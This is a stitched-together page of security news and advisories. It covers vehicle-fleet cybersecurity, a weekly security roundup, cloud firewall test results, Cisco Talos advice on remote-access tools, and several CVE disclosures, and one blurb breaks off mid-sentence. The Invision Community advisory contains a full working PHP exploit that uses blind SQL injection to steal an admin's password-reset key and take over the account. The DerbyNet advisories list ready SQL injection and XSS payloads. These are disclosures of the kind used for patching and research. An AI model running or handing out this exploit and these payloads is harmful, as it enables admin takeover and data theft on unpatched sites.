As manufacturers sprint to add software-defined features for vehicles, the ability for third-party maintenance and repair falls behind, leaving businesses with few choices to manage their cybersecurity.

Source: Open Studio via Shutterstock

When Israel-based REE Automotive designed its P7 electric vehicle chassis, it worked from the software out: The flat vehicle chassis is totally configurable with four independent modules near each tire for steering, braking, suspension, and power train, each driven by an electronic control unit (ECU) customizable through software.

It has drive-by-wire, steer-by-wire, and brake-by-wire — and data collection as a service — giving the company the ability to tailor the vehicle to the customer's application, but also potentially making the platform a hacker's dream.

Securing a vehicle fleet is a major effort, requiring cybersecurity for the design and development teams, the factory floor, and the connected vehicles themselves, says Yaron Edan, CISO for the automotive technology company. Cybersecurity teams not only have to monitor cyber threats, but also manage the security of the supply chain, the operation technology (OT) in the factory, and the vehicle network used to monitor and update the platform.

"My headache, my concern, is basically divided in two: our network \[which supports the creation of the platform\], but that is not enough," he says. "We need to figure out what are the threats, and monitor \[for those\] all day long for each vehicle through our SOC."

Such security efforts, however, have another challenge: The success of "right to repair" efforts to open up all kinds of consumer and enterprise technology to allow customers to fix the devices that they buy. The passage of a Massachusetts law, for instance, calls for auto manufacturers and automotive-technology makers to share information and data produced by vehicles to allow consumers and third parties to maintain, repair, and even modify their vehicles.

While the National Highway Traffic Safety Administration (NHTSA) initially ruled that existing federal safety regulations preempted the laws — saying, "\[f\]ederal law does not allow a manufacturer to sell vehicles that it knows contains a safety defect" — the state and federal governments eventually came to an agreement over implementation: Automakers would be required to give third parties the ability to locally access data and systems to the vehicles they own, but the remote diagnostic and update networks can remain closed, the regulators ruled.

**EVs Bring Great Flexibility and Risk**

Whether the agreement will help companies with large fleets of vehicles, especially electric vehicles, remains an open question. Software-defined vehicles really took off with EVs — and the example of Tesla's success — and the most significant software-based capabilities will likely remain with electric vehicles.

EV makers can build their platforms starting with initial design using software that can be updated to change the configuration and performance of the vehicles all the way through deployment and beyond, says Alex Oyler, director for North America at SBD Automotive, an auto supply chain consultancy.

The ability to effectively and quickly respond to cybersecurity events will likely remain with those manufacturers, not third parties, he says.

"If there's a really critical zero-day, and that needs to be patched as soon as possible, those product cybersecurity teams \[at auto manufacturers\] are running the show, coordinating stakeholders across the business and accelerating timelines to patch things," he says. "It's not an easy process today, that's for sure."

Some manufacturers may outsource the cybersecurity function, however. The United Nations passed an amendment for product safety requiring the countries which are part of the UN Economic Commission for Europe have regulatory approval of the cybersecurity management systems used in vehicles.

**Connectivity Will Only Grow**

Vehicles have been connected for decades, whether as part of an in-vehicle maintenance system or driver assistance. Yet, software-defined vehicles have expanded that connectivity, such as remote start via a smartphone app and tracking limited diagnostics for the consumer — essentially turning cars into Internet-of-things (IoT) devices. As automobile manufacturers offer more accessibility through APIs, more risk will follow, says Shira Sarid-Hausirer, a vice president at Upstream, an automotive cybersecurity and data management firm.

"Opening up to the ecosystem is what has probably introduced the most risk," she says, pointing to various cybersecurity hacks of Tesla vehicles. "What happens when OEMs started to open up their APIs to other third-party apps that can now send commands into your vehicle? ... The vehicle is becoming a hub for technology."

Giving companies access to some of that data to allow fleet management may be enough, while the agreement in the Massachusetts Right to Repair law allows some third parties to offer vehicle maintenance services — although, probably at great cost. Whether those restrictions will ameliorate in the future, as the fast pace of SDV innovation slows, remains to be seen, SBD Automotive's Oyler says.

"It's somewhat fair for both NHTSA and automakers to raise some flags, but that said, there is a secure way to share diagnostic information, and the software defined vehicle actually provides a way to do that through those secure channels," he says.

**Cyberattacks Unlikely to be Catastrophic, Mostly**

Automakers' recent focus on cybersecurity has resulted in much more secure platforms over the past decade. But the focus for the future needs to be on delivering that security and safety, while offering more transparency to customers, Oyler says. As enterprise customers and individual vehicle owners demand more maintainability and reusability in their devices, automakers will need to follow.

Properly designed platforms can also drastically reduce the risk of a widespread cyberattack, says Upstream's Sarid-Hausirer. The company already handles threat intelligence and incident response for some manufacturers and most incidents are not safety-related, but the company does classify half of all incidents as massive or high severity, according to the company's "2024 Automotive Cybersecurity Report."

"I can tell you that the vast majority of incidents that we see do not necessarily jeopardize safety, because there needs to be a reason to jeopardize your safety, and attackers don't work that way — they're out there to make money," she says. Instead, the company has seen a lot of attacks on availability. "They manipulate the app, so that you cannot start your trucks or get into your trucks in the morning. It could be ransomware, it could be other forms, but availability and fleets is something that has to be discussed."

Other attacks have used ride-hailing apps to cause traffic jams in Moscow and hacks for remote start apps. Those availability issues are less to do with diagnostic systems, such as the information necessary for right to repair, and more to do with the management systems, she says.

**About the Author(s)**

Veteran technology journalist of more than 20 years. Former research engineer. Written for more than two dozen publications, including CNET News.com, Dark Reading, MIT's Technology Review, Popular Science, and Wired News. Five awards for journalism, including Best Deadline Journalism (Online) in 2003 for coverage of the Blaster worm. Crunches numbers on various trends using Python and R. Recent reports include analyses of the shortage in cybersecurity workers and annual vulnerability trends.

Software-Defined Vehicle Fleets Face a Twisty Road on Cybersecurity

Invision Community versions 4.4.0 through 4.7.15 suffer from a remote SQL injection vulnerability in store.php.

--------------------------------------------------------------------  
Invision Community <= 4.7.15 (store.php) SQL Injection Vulnerability  
--------------------------------------------------------------------

[-] Software Link:

https://invisioncommunity.com

[-] Affected Versions:

All versions from 4.4.0 to 4.7.15.

[-] Vulnerability Description:

The vulnerability is located in the  
/applications/nexus/modules/front/store/store.php script.  
Specifically, into the  
IPS\nexus\modules\front\store\_store::_categoryView() method:

126 /* Apply Filters */  
127 if ( isset( \IPS\Request::i()->filter ) and \is_array(  
\IPS\Request::i()->filter ) )  
128 {  
129 $url = $url->setQueryString( 'filter', \IPS\Request::i()->filter );  
130 foreach ( \IPS\Request::i()->filter as $filterId => $allowedValues )  
131 {  
132 $where[] = array( \IPS\Db::i()->findInSet(  
"filter{$filterId}.pfm_values", array_map( 'intval', explode( ',',  
$allowedValues ) ) ) );  
133 $joins[] = array( 'table' => array( 'nexus_package_filters_map',  
"filter{$filterId}" ), 'on' => array(  
"filter{$filterId}.pfm_package=p_id AND  
filter{$filterId}.pfm_filter=?", $filterId ) );  
134 }  
135 }

User input passed through the "filter" request parameter is not  
properly sanitized before being  
assigned to the $where and $joins variables (lines 132 and 133), which  
are later used to execute  
some SQL queries. This can be exploited by unauthenticated attackers  
to carry out time-based or  
error-based Blind SQL Injection attacks. Subsequently, this might also  
be exploited to reset  
users' passwords and gain unauthorized access to the AdminCP, in order  
to achieve  
Remote Code Execution (RCE). Successful exploitation of this  
vulnerability requires  
the nexus application to be installed and configured with one "Product  
Group" at least.

[-] Proof of Concept:

https://karmainsecurity.com/pocs/CVE-2024-30163.php

[-] Solution:

Upgrade to version 4.7.16 or later.

[-] Disclosure Timeline:

[08/01/2024] - Vulnerability details sent to SSD Secure Disclosure  
[12/03/2024] - Version 4.7.16 released  
[20/03/2024] - CVE identifier requested  
[24/03/2024] - CVE identifier assigned  
[05/04/2024] - Coordinated public disclosure

[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)  
has assigned the name CVE-2024-30163 to this vulnerability.

[-] Credits:

Vulnerability discovered by Egidio Romano.

[-] Other References:

https://invisioncommunity.com/release-notes/4716-r128/  
https://ssd-disclosure.com/ssd-advisory-ip-board-nexus-rce-and-blind-sqli/

[-] Original Advisory:

http://karmainsecurity.com/KIS-2024-02

-----------------------  
PoC:

<?php

/*  
    --------------------------------------------------------------------  
    Invision Community <= 4.7.15 (store.php) SQL Injection Vulnerability  
    --------------------------------------------------------------------

    author..............: Egidio Romano aka EgiX  
    mail................: n0b0d13s[at]gmail[dot]com  
    software link.......: https://invisioncommunity.com

    +-------------------------------------------------------------------------+  
    | This proof of concept code was written for educational purpose only.    |  
    | Use it at your own risk. Author will be not responsible for any damage. |  
    +-------------------------------------------------------------------------+

    [-] Vulnerability Description:

    The vulnerability is located in the /applications/nexus/modules/front/store/store.php script.  
    Specifically, into the IPS\nexus\modules\front\store\_store::_categoryView() method: user  
    input passed through the "filter" request parameter is not properly sanitized before being  
    assigned to the $where and $joins variables, which are later used to execute some SQL  
    queries. This can be exploited by unauthenticated attackers to carry out time-based  
    or error-based SQL Injection attacks.

    [-] Original Advisory:

    https://karmainsecurity.com/KIS-2024-02  
*/

set_time_limit(0);  
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[-] cURL extension required!\n");

if ($argc != 2) die("\nUsage: php $argv[0] <URL>\n\n");

$url = $argv[1];  
$ch  = curl_init();  
$sec = 3; // number of seconds for SLEEP(): less seconds, less accurate

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  
curl_setopt($ch, CURLOPT_URL, "{$url}index.php?/store/");

function sql_injection($sql)  
{  
  global $ch, $sec;

  $min = true;  
  $idx = 1;

  while(1)  
  {  
    $test = 256;

    for ($i = 7; $i >= 0; $i--)  
    {  
      $test = $min ? ($test - pow(2, $i)) : ($test + pow(2, $i));  
      $injection = "` ON 1 UNION SELECT IF(ORD(SUBSTR(({$sql}),{$idx},1))<{$test},1,SLEEP({$sec})) OR ?=?#";  
      curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf("cat=1&filter[%s]=1", rawurlencode($injection)));  
      $start = time(); curl_exec($ch); $secs = time() - $start;  
      $min = ($secs < $sec);  
    }

    if (($chr = $min ? ($test - 1) : ($test)) == 0) break;  
    $data .= chr($chr); $min = true; $idx++;  
    print "\r[*] Data: {$data}";  
  }

  return $data;  
}

print "[+] Step 1: fetching admin's e-mail address\n";

$email = sql_injection("SELECT email FROM core_members WHERE member_id=1");

print "\n[+] Step 2: go to {$url}index.php?/lostpassword/ and request a password reset by using the above e-mail. When you're done press enter.";

fgets(STDIN);

print "[+] Step 3: fetching the password reset key\n";

$vid = sql_injection("SELECT vid FROM core_validating WHERE member_id=1 AND lost_pass=1 ORDER BY entry_date DESC LIMIT 1");

print "\n[+] Step 4: taking over the admin account by resetting their password\n";

@unlink('./cookies.txt');

curl_setopt($ch, CURLOPT_URL, "{$url}index.php?/lostpassword/");  
curl_setopt($ch, CURLOPT_POST, false);  
curl_setopt($ch, CURLOPT_HEADER, true);  
curl_setopt($ch, CURLOPT_COOKIEJAR, './cookies.txt');  
curl_setopt($ch, CURLOPT_COOKIEFILE, './cookies.txt');

if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) die("[-] CSRF token not found!\n");

$passwd = md5(time());  
$params = "do=validate&vid={$vid}&mid=1&password={$passwd}&password_confirm={$passwd}&resetpass_submitted=1&csrfKey={$csrf[1]}";

curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

if (!preg_match("/301 Moved Permanently/i", curl_exec($ch))) die("[-] Attack failed!\n");

print "[+] Done! You can log into the AdminCP with {$email}:{$passwd}\n";

Invision Community 4.7.15 SQL Injection

Plus: Microsoft scolded for a “cascade” of security failures, AI-generated lawyers send fake legal threats, a data broker quietly lobbies against US privacy legislation, and more.

It’s been a week since the world avoided a potentially catastrophic cyberattack. On March 29, Microsoft developer Andres Freund disclosed his discovery of a backdoor in XZ Utils, a compression tool widely used in Linux distributions and thus countless computer systems worldwide. The backdoor was inserted into the open source tool by someone operating under the persona “Jia Tan” after years of patient work building a reputation as a trustworthy volunteer developer. Security experts believe Jia Tan is the work of a nation-state actor, with clues largely pointing to Russia, although definitive attribution for the attack is still outstanding.

In early 2022, a hacker operating under the name “P4x” took down the internet of North Korea, after the country’s hackers had targeted him. This week, WIRED revealed P4x’s true identity as Alejandro Caceres, a 38-year-old Colombian American. Following his successful attack on North Korea, Caceres pitched the US military on a “special forces”-style offensive hacking team that would carry out operations similar to the one that made P4x famous. The Pentagon eventually declined, but Caceres has launched a startup, Hyperion Gray, and plans to further pursue his controversial approach to cyberwarfare.

In mid-February, millions of people lost internet access after three undersea cables in the Arabian Sea were damaged. Some blamed Houthi rebels in Yemen, who had been attacking ships in the region, but the group denied it had sabotaged the cables. But the rebel attacks are still likely to blame—albeit, in a bizarre way. A WIRED analysis of satellite images, maritime data, and more found that the cables were likely damaged by the trailing anchor of a cargo ship that the Houthi rebels had bombed. The ship drifted for two weeks before finally sinking, crossing paths with the cables at the time they were damaged.

The myth that Google Chrome’s Incognito mode provides adequate privacy protections can finally be put to rest. As part of a settlement over Google’s Incognito privacy claims and practices, the company has agreed to delete “billions” of records collected while users browsed in Incognito mode. It will also further clarify how much user data can be collected by Google and third parties while Incognito is enabled, and take further steps to protect user privacy. There are other privacy-focused browsers that can replace Chrome. But if you’re still using it, make sure to update it to patch some serious security flaws.

But that’s not all. Each week, we round up the security and privacy news we didn’t cover in depth ourselves. Click the headlines to read the full stories. And stay safe out there.

A 58-year-old hospital systems administrator pleaded guilty this week to US federal charges after he was caught using another man’s name for more than 30 years. Matthew David Keirans allegedly stole the identity of William Woods in 1988, when the two men worked at a hot dog cart in Albuquerque, New Mexico, according to the US Attorney's Office for the Northern District of Iowa. Over the decades, Keirans obtained employment, bank accounts, loans, and insurance, and paid taxes, under the Woods name. Keirans even had a child whose last name is Woods.

The real William Woods, meanwhile, reportedly learned that someone else was using his identity in 2019. At the time, Woods was unhoused and living in Los Angeles. He contacted a bank where “William Woods” had an account, providing his real Social Security card and California ID card to prove his identity. However, he could not answer the security questions to gain access. The bank called Keirans—who was pretending to be Woods—and Keirans convinced the bank employee that the real Woods should not have access to the accounts. The Los Angeles Police Department then arrested the real Woods and charged him with identity theft after Keirans provided officers with false documents and information.

In a nightmarish twist, during judicial proceedings, the real Woods accurately maintained that “William Donald Woods” was his true identity, prompting the court to order him to a mental institution. The real Woods ultimately spent 428 days in jail and 147 days in a mental hospital before his release.

The real Woods then continued to work to regain his true identity, eventually contacting authorities after learning that Keirans worked at a hospital in Iowa City. Investigators later confirmed the real Woods’ identity after obtaining a DNA test. Confronted with the evidence, Keirans confessed to a series of crimes and now faces a maximum sentence of 32 years in prison, a $1.25 million fine, and five years of supervised release.

**US Review Board Slams Microsoft for ‘Cascade of Avoidable Security Failures’**

The White-House mandated Cyber Safety Review Board issued a scathing report against Microsoft this week, accusing the tech giant of failing to stop a “preventable” intrusion by China-backed hackers of hundreds of Microsoft Exchange Online email accounts. To gain access to email accounts belonging to 22 organizations and 500 individuals worldwide, the hackers, known as Storm-0558, stole a Microsoft cryptographic key. The CSRB report chastises the company for failing to detect “the compromise of its cryptographic crown jewels,” inadequate security practices, and a “corporate culture that deprioritized both enterprise security investments and rigorous risk management,” among a “cascade” of other defeats.

The report also found that Microsoft still does not know how Storm-0558 obtained its key, accusing the company of making false statements after it initially claimed that the key was accidentally included in an April 2021 “crash dump.” The company has since updated its explanation of the intrusion to say that it still does not know how the hackers obtained the key. The CSRB issued 25 recommended steps that Microsoft—a major government contractor whose systems protect highly sensitive information—should take to better protect its systems.

**AI-Generated Lawyers Caught Spewing Fake Legal Threats**

The owner of the website Tedium received legal threats from a nonexistent “law firm” charging the publication with a copyright violation. The thing is, the “lawyers” behind the complaint were AI-generated. The “law firm” accused Tedium of using a photograph without the owner’s consent, and a "copyright infringement" notice offered to supposedly settle the matter, if only Tedium would agree to properly credit the photo’s “owner” and link out to their website. This was, of course, a backlink scam designed to boost the SEO ranking of the fake copyright holder’s page. Only this time, the scam was bolstered by a cast of AI-generated characters: a hot-shot team of young, "skilled lawyers" purportedly specializing in creative rights and commercial law.

**Data Behemoth Enlists Lobbyists Against Effort in US to Limit Deals With Spies**

An internal feud is underway in the US Congress over the fate of a beleaguered spy program called Section 702 and the commercial deals that US intelligence agencies have struck in recent years with global data brokers, purchasing information that government agents typically need a warrant to obtain. Consequently, the UK owner of LexisNexis—an “amalgam of publishers and data brokers, stitched together into a single information giant”—has retained the services of a Washington, DC, lobbying firm to engage with federal lawmakers over “potential privacy, data security, breach notification, data broker, and FISA reform legislation.” Politico reports that the company, RELX, previously used the firm, Venable, to combat privacy legislation aimed at restricting the kinds of personal data companies are allowed to sell to law enforcement.

**‘Weapon Scanners’ Eyed by New York’s Surveillant Mayor Boasts Abysmal Track Record**

New York City mayor Eric Adams is hastening his crusade against subway violence with a plan to test weapons scanners that claim to use artificial intelligence to detect whether commuters are carrying blades and firearms. Documents obtained by Hell Gate reveal what Adams failed to disclose at a press conference last week: that data already in the city’s hands show the technology is only rarely useful. After police officers permitted to carry firearms were factored out of one study at a Bronx hospital, the scanners were found to be accurate less than 1 percent of the time. (All told, more than 85 percent of the time, the scanners cast false suspicion on New Yorkers who were found to be unarmed.) The move by Adams follows New York governor Kathy Hochul’s deployment of hundreds of National Guard soldiers in the city’s subway systems. Adams first addressed a spate of homicides and stabbings across the city in March by sending hundreds of police officers underground to search commuters' bags at well over 100 subway stations—a tactic that roused resistance from a few locals this week who smashed ticket machines and disabled security cameras at a midtown station to protest the surveillance surge.

Identity Thief Lived as a Different Man for 33 Years

DerbyNet 9.0 suffers from a remote SQL injection vulnerability in ajax/query.slide.next.inc.

    CVE ID: CVE-2024-30928Description:An SQL Injection vulnerability has been discovered in DerbyNet version 9.0, particularly within the `ajax/query.slide.next.inc` file. This vulnerability allows remote attackers to execute arbitrary code and disclose sensitive information by exploiting the unvalidated `classids` parameter used in constructing SQL queries. This parameter is not properly sanitized before being included in the SQL statement, leading to a critical risk of SQL Injection.Vulnerability Type: SQL InjectionVendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynetAffected Product Code Base: DerbyNet - v9.0Affected Component: ajax/query.slide.next.incAttack Type: RemoteImpacts:- Code execution: True- Information Disclosure: TrueAttack Vectors:The vulnerability is primarily exploited by manipulating the `classids` parameter in the user's request to the `ajax/query.slide.next.inc` file. The lack of adequate input validation allows attackers to inject malicious SQL code through this parameter. Example attack vectors include:- Direct exploitation:- `http://127.0.0.1:8000/action.php?query=slide.next&mode=racer&classids=1`- Boolean-based blind SQL Injection:- Payload: `query=slide.next&mode=racer&classids=1) AND 4365=4365 AND (6880=6880`- UNION query SQL Injection:- Payload: `query=slide.next&mode=racer&classids=-3890) UNION ALL SELECT NULL,NULL,CHAR(113,107,120,122,113)||CHAR(79,97,117,85,112,79,82,85,75,114,65,66,118,100,117,107,79,118,111,104,67,105,87,86,72,110,107,119,113,86,106,107,115,100,110,109,98,77,85,115)||CHAR(113,118,120,120,113),NULL,NULL,NULL,NULL,NULL-- rDzQ`These vectors demonstrate how an attacker could manipulate SQL queries to potentially access or manipulate database information unauthorizedly.Discoverer: Valentin LobsteinReferences:- Official website: http://derbynet.com- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 ajax/query.slide.next.inc SQL Injection

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in playlist.php.

    CVE ID: CVE-2024-30929Description:A Cross-Site Scripting (XSS) vulnerability has been found in DerbyNet version 9.0, affecting the `playlist.php` component. This issue allows remote attackers to execute arbitrary code by exploiting the `back` parameter. The application does not properly sanitize the `back` parameter before it is rendered on the page, thereby allowing the injection and execution of arbitrary JavaScript code.Vulnerability Type: Cross-Site Scripting (XSS)Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynetAffected Product Code Base: DerbyNet - v9.0Affected Component: playlist.phpAttack Type: RemoteImpact: Code executionAttack Vectors:The vulnerability can be exploited by crafting a URL that includes malicious JavaScript code as part of the `back` parameter. An example of such a URL is:- http://127.0.0.1:8000/playlist.php?back="><script>alert(1)</script>This example demonstrates how an attacker could inject and execute JavaScript within the context of the webpage, leading to potential security risks such as session hijacking, phishing, or unauthorized actions performed on behalf of the user.Discoverer: Valentin LobsteinReferences:- Official website: http://derbynet.com- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 playlist.php Cross Site Scripting

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in render-document.php.

    CVE ID: CVE-2024-30920Description:A Cross Site Scripting (XSS) vulnerability has been identified in DerbyNet v9.0, specifically within the `render-document.php` component. This vulnerability allows a remote attacker to execute arbitrary code via crafted URLs. The root cause of the vulnerability is the application's failure to properly sanitize user input in document rendering paths, which permits the injection of malicious scripts.Vulnerability Type: XSS (Cross Site Scripting)Vendor of Product:DerbyNet - https://github.com/jeffpiazza/derbynetAffected Product Code Base:DerbyNet - v9.0Affected Component:render-document.phpAttack Type:RemoteImpact:Code executionRoot Cause:The vulnerability arises from the application's display of debug information, including `ORIG_SCRIPT_FILENAME`, `DOCUMENT_URI`, `SCRIPT_NAME`, and `PHP_SELF`. These debug outputs improperly handle user-supplied input by not sanitizing it before inclusion in the output, leading directly to XSS vulnerabilities when malicious inputs are rendered by the browser.Attack Vectors:The vulnerability can be exploited with URLs such as:- `http://127.0.0.1:8000/render-document.php/racer/<img src=x onerror=alert(1)>`- `http://127.0.0.1:8000/render-document.php/<img src=x onerror=alert(1)>`Discoverer:Valentin LobsteinReferences:- http://derbynet.com- https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 render-document.php Cross Site Scripting

Ubuntu Security Notice 6710-2 - USN-6710-1 fixed vulnerabilities in Firefox. The update introduced several minor regressions. This update fixes the problem. Manfred Paul discovered that Firefox did not properly perform bounds checking during range analysis, leading to an out-of-bounds write vulnerability. A attacker could use this to cause a denial of service, or execute arbitrary code. Manfred Paul discovered that Firefox incorrectly handled MessageManager listeners under certain circumstances. An attacker who was able to inject an event handler into a privileged object may have been able to execute arbitrary code.

==========================================================================  
Ubuntu Security Notice USN-6710-2  
April 04, 2024

firefox regressions  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 20.04 LTS

Summary:

USN-6710-1 caused some minor regressions in Firefox.

Software Description:  
- firefox: Mozilla Open Source web browser

Details:

USN-6710-1 fixed vulnerabilities in Firefox. The update introduced  
several minor regressions. This update fixes the problem.

Original advisory details:

  Manfred Paul discovered that Firefox did not properly perform bounds  
  checking during range analysis, leading to an out-of-bounds write  
  vulnerability. A attacker could use this to cause a denial of service,  
  or execute arbitrary code. (CVE-2024-29943)

    Manfred Paul discovered that Firefox incorrectly handled MessageManager  
  listeners under certain circumstances. An attacker who was able to inject  
  an event handler into a privileged object may have been able to execute  
  arbitrary code. (CVE-2024-29944)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 20.04 LTS:  
   firefox                         124.0.2+build1-0ubuntu0.20.04.1

After a standard system update you need to restart Firefox to make all the  
necessary changes.

References:  
   https://ubuntu.com/security/notices/USN-6710-2  
   https://ubuntu.com/security/notices/USN-6710-1  
   https://launchpad.net/bugs/2060171

Package Information:  
   https://launchpad.net/ubuntu/+source/firefox/124.0.2+build1-0ubuntu0.20.04.1

Ubuntu Security Notice USN-6710-2

New research has found that the CONTINUATION frame in the HTTP/2 protocol can be exploited to conduct denial-of-service (DoS) attacks.
The technique has been codenamed HTTP/2 CONTINUATION Flood by security researcher Bartek Nowotarski, who reported the issue to the CERT Coordination Center (CERT/CC) on January 25, 2024.
"Many HTTP/2 implementations do not properly limit or sanitize the

New HTTP/2 Vulnerability Exposes Web Servers to DoS Attacks

PRESS RELEASE

Austin, TX – April 3, 2024 – CyberRatings.org (CyberRatings), the non-profit entity dedicated to providing confidence in cybersecurity products and services through its research and testing programs, has completed an independent test of eleven market leading Cloud Network Firewall vendors. Six products were Recommended, one product received a Neutral rating, and four received a Caution rating.

Cloud network firewalls are considered to be the first line of defense when deployed in public cloud providers such as Amazon Web Services, Google Cloud Platform and Microsoft Azure. But implementing security in the cloud can be complex, with multiple factors influencing effectiveness. 

CyberRatings tested the cloud firewall products to determine how they handled TLS/SSL (authentication) 1.2 and 1.3 cipher suites (algorithms), how they defended against 984 exploits (attacks that take advantage of a software flaw or install malware), and whether any of 1,645 evasions could bypass protection. At all times the devices needed to remain stable under adverse conditions. To provide a more realistic rating based on modern network traffic, both clear text (HTTP) and encrypted traffic (HTTPS) were measured. Amazon Web Services (AWS) was the public cloud service chosen to run the test.

The combination of Security Effectiveness and Value dictated where products landed on the Security Value Map™ (SVM). Six out of the eleven products were Recommended for their Security Effectiveness with scores ranging from 99.70% to 100%. Recommended ratings are based on threat prevention (how many exploits and evasions were blocked?), TLS/SSL functionality, routing and policy enforcement, and stability and reliability to achieve a final Security Effectiveness score. These same products also demonstrated competitive pricing in the Total Cost per Protected Mbps (Value). The product rated Neutral received a 48.44% Security Effectiveness score. Four products rated Caution had Security Effectiveness scores ranging from 5.39% to 48.37%. 

“We have been testing firewalls for years, and more recently cloud network firewalls,” said Vikram Phatak, CEO of CyberRatings.org. “All of the products chosen were market leaders and the range of scores clearly shows that building a product for the cloud is different than building a product on an appliance where you control the environment,” said Phatak. “We recommend that enterprises check with their service providers or IT teams to see which cloud firewall products are currently deployed in their networks.”

As part of the cloud firewall test, CyberRatings also checked to see if products were secure by default. It was discovered that some firewall evasion defenses are not on by default, potentially leaving customers at significant risk. In response, CyberRatings is providing a policy and configuration guide to help enterprises ensure that their firewalls are configured properly.

Encryption matters: roughly 80% of web traffic is encrypted. The top four cipher suites account for over 95% of HTTPS traffic. In some products, decryption was not on by default. Firewalls will not see attacks delivered via HTTPS unless configured to do so. Performance is significantly different when TLS/SSL is turned on. With the exception of one vendor that failed to handle TLS 1.3 despite claiming support, all other vendors supported encryption. 

Enterprises should monitor security and performance capabilities, and update firewalls regularly. With the everchanging cloud platform and agile development, something can go wrong even when the security vendor does not make a change. 

The following products were evaluated:

Cloud Network Firewall

Rating

Security

Effectiveness

Rated Throughput

(Mbps)

Price per Protected Mbps

Amazon Web Services (AWS) Network Firewall

Caution

5.39%

1,000

$601.34

Barracuda CloudGen Firewall

Caution

11.38%

441

$287.86 

Check Point CloudGuard

Recommended

99.80%

1,180

$12.70 

Cisco Secure Firewall Threat Defense Virtual 

Caution

20.86%

373

$76.91 

Forcepoint NGFW

Recommended

99.80%

698

$8.45 

Fortinet FortiGate-VM

Recommended

100%

1,458

$10.56 

Juniper Networks vSRX

Recommended

99.70%

1,228

$5.72 

Palo Alto Networks VM-Series Next-Generation Firewall w/ Advanced Threat Prevention

Recommended

100%

1,036

$5.83 

Sophos Firewall

Caution

48.37%

135

$83.16 

Versa Networks NGFW

Recommended

99.90%

2,553

$7.58 

WatchGuard Firebox Cloud

Neutral

48.44%

291

$27.06 

Additional Resources:

Cloud Network Firewall Comparative Report and Test Reports

2024 Best Practices for Cloud Network Firewall Deployment

Exploring the Landscape of Cloud Network Firewalls Available on AWS

Why Firewalls Should be Secure by Default

About CyberRatings.org 

CyberRatings.org is a 501(c)6 non-profit organization dedicated to providing confidence in cybersecurity products and services through our research and testing programs. We provide enterprises with independent, objective ratings of security product efficacy to make informed decisions. To become a member, visit www.cyberratings.org and follow us on LinkedIn.

CyberRatings.org Announces Test Results for Cloud Network Firewall

While there are many legitimate uses for this software, adversaries are also finding ways to use them for command and control in their campaigns.

Tuesday, April 2, 2024 08:00

*   Remote system management/desktop access tools such as AnyDesk and TeamViewer have grown in popularity since 2020. While there are many legitimate uses for this software, adversaries are also finding ways to use them for command and control in their campaigns.
*   There is no easy way to effectively block all unauthorized remote management tools, but security can be greatly improved through a combination of policy and technical controls.
*   Early warning alerts can be configured to alert defenders to remote management software activity that may have circumvented the technical controls.

**The remote management/access software problem**

Since 2020, the use of remote system management/access tools such as AnyDesk and TeamViewer has exploded in popularity due to forced work-from-home during the COVID-19 pandemic.

Whether used by an IT help desk technician to fix a user’s remote system or by co-workers for collaboration, these tools play an essential role in most corporations’ digital functions. However, this convenience comes at a cost. These tools introduce the ability for an adversary to potentially take full remote control of a system, are easy to download and install, and can be very difficult to detect since they are considered legitimate software. 

Further complicating the task of recognizing the malicious use of these tools, many organizations struggle to combat “shadow IT” in which individual users or overly proactive IT personnel might install unauthorized remote management tools to accomplish a benign goal.

Cisco Talos Incident Response (Talos IR) is seeing adversaries capitalize on this opportunity in the wild. We recently noted in our Quarterly Trends report for the third quarter of 2023, “AnyDesk was observed in all ransomware and pre-ransomware engagements \[. . .\], underscoring its role in ransomware affiliates' attack chains.”

While AnyDesk is a legitimate application, it highlights the tremendous value that can be gained through a security program that intentionally focuses on preventing unauthorized use of these tools. Talos is referencing AnyDesk for the purposes of this blog post, but any remote management tool is at risk of these exploits. There are several policy changes, technical countermeasures and security alerts that admins and defenders can use to ensure that AnyDesk, and similar pieces of software, are only used for legitimate purposes when deployed.

Adopting one, or at most two, approved remote management solutions will allow the organization to thoroughly test and deploy in the most secure possible configuration.

If possible, integration with other organizational technology such as Active Directory or multi-factor authentication (MFA) will provide additional layers of protection and verification. Tying the approved remote management solutions into these already structured security solutions can make it easier to build “early warning” detections and alerts around unauthorized connectivity and use.

Once a solution is approved and championed for the organization, other remote management/access tools should be explicitly banned by policy. Ideally, this should be accompanied by a software inventory audit and published guidance on approved/non-approved software for the organization. Training and consistent enforcement of this policy will help reduce the “shadow IT” noise in the environment and leave network defenders with more time to investigate true anomalies.

**Technical controls**

While very worthwhile, preventing unauthorized use of these tools is not simple. First, the scores of commercially available remote access tools make it difficult to address every option an adversary might use. Many of those tools are frequently updated, meaning that blocking the executables by their hash value is not as effective. 

Adversaries also commonly rename the executables, meaning that filename blocks aren’t going to be helpful, either. 

Many popular solutions operate over common ports and protocols, such as ports 80 and 443, making them difficult to block at the firewall, and remote access tool creators often decline to publish their central server IP addresses due to frequently changing resolutions, which limits the effectiveness of static IP address blocks. A combination of approaches and techniques is necessary to limit the opportunity for an adversary to use remote access/management tools in any given environment.

**DNS security controls**

One of the most effective methods for detecting, and sometimes blocking, the activities of unauthorized remote management/access software, is by auditing and blocking DNS queries associated with these tools.

If your organization uses Cisco Umbrella for DNS security, it’s fairly easy to review and block DNS queries related to unauthorized traffic.

To review what might already be on your network, log into the Umbrella console and view “Reporting > App Discovery > Unreviewed Apps,” filtered by the “Collaboration” and “IT Services Management” categories, this is an excellent starting point to identify unexpected remote access software.

